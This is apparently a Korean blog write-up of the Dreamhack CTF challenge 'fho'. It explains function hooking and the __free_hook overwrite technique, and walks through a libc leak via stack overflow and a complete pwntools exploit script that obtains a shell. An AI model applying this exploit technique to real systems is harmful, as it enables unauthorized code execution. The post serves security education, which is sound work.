Hook에는 갈고리라는 뜻이 있다.
컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려고 할 때, 이를 낚아채 다른 코드가 실행되게 하는 것을 Hooking(후킹)이라고 부르며, 이때 실행되는 코드를 Hook(훅)이라고 부른다.
후킹의 용도
- 함수에 훅을 심어 함수의 호출을 모니터링 한다.
- 함수에 기능을 추가한다.
- 전혀 다른 코드를 심어서 실행 흐름을 변조한다.
예를 들어 malloc과 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링 할 수 있다.
이를 더 응용하면 모든 함수의 도입 부분에 모니터링 함수를 혹으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing) 할 수도 있다.
이러한 모니터링 기능은 해커에 의해 악용될 수도 있는데, 해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면, 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하다.
그리고 이번에 배울 Hook Overwrite은 훅의 특징을 이용한 공격 기법으로 malloc과 free 함수를 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게 하는 기법을 배운다.
Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로, Full RELRO를 우회하는 기법으로 활용될 수 있다.
문제 실행 시 동작 파악과 보호 기법 확인
문제 파일을 실행하면 "Buf: " 문자열이 띄워지고 입력을 받는다.
"aaaa" 값을 입력해준 뒤 enter를 입력하면 "Arbitary-Address-Write" 문자열과 "To write: " 문자열을 띄우고 입력을 받는데, "0x12345678"을 입력했더니 "With: " 문자열이 띄워지더니 Segmentation fault 오류와 함께 종료된다.
보호 기법은 모두 적용되어 있다.
소스 코드
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
buf 배열의 크기는 0x30인데, read() 함수 호출에서 0x100 만큼 받고 있기 때문에 SBO가 발생한다.
또한 payload를 작성할 때 read는 send()를 사용하면 되지만, scanf는 sendline()를 사용해 문자열의 끝을 알리는 '\n'도 함께 전송해야 한다.
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
매우 큰 스택 버퍼 오버플로우가 발생하지만 알고 있는 정보가 없기 때문에 카나리를 올바르게 덮을 수 없고, 반환 주소도 유의미한 값으로 조작할 수 없다.
스택에 있는 데이터를 읽는 데 사용할 수 있을 것이다.
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\\n", addr, value);
*addr = value;
주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
주소를 입력하고 그 주소의 메모리를 해제할 수 있다.
공격 수단
공격자는 아래의 3가지 수단(Primitive)를 이용해 셸을 획득해야 한다.
- 스택의 어떤 값을 읽을 수 있다.
- 임의 주소에 임의 값을 쓸 수 있다.
- 임의 주소를 해제할 수 있다.
공격 순서
1. 라이브러리의 변수 및 함수들의 주소를 구한다.
2. 셸 획득
__free_hook, system 함수, “/bin/sh” 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so 안의 주소를 구해야 이들의 주소를 계산할 수 있다.
위의 공격 수단 중 1번을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다.
특히, main 함수는 __libc_start_main 이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있다.
또한, 위의 공격 수단 중 2번을 이용하면 __free_hook의 값을 system 함수의 주소로 덮어쓰고, 3번을 이용해서 “/bin/sh”를 해제하게 하면 system(”/bin/sh”)가 호출되어 셸을 획득할 수 있다.
exploit
from pwn import *
#p = process('./fho')
p = remote('host3.dreamhack.games', 14753)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
# leak libc base addr
buf = b'a' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b"/bin/sh"))
# print addrs
print("libc_start_main_xx : ", hex(libc_start_main_xx))
print("libc_base : ", hex(libc_base))
print("system : ", hex(system))
print("free_hook : ", hex(free_hook))
print("binsh : ", hex(binsh))
# overwrite 'free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))
p.sendlineafter("With: ", str(system))
# exploit
p.sendlineafter("To free: ", str(binsh))
p.interactive()
buf에 왜 'a'를 0x48개 채우는지 궁금하다면 아래의 링크 내용을 참고해 GDB를 이용하여 분석해보면 된다.
'전쟁 > Dreamhack Pwn' 카테고리의 다른 글
[Dreamhack pwn] oneshot (0) | 2023.02.09 |
---|---|
[Dreamhack pwn] basic_rop_x86 (0) | 2023.01.21 |
[Dreamhack pwn] basic_rop_x64 (0) | 2023.01.19 |
[Dreamhack pwn] rop (2) | 2023.01.14 |
[Dreamhack pwn] Return to Library (0) | 2023.01.07 |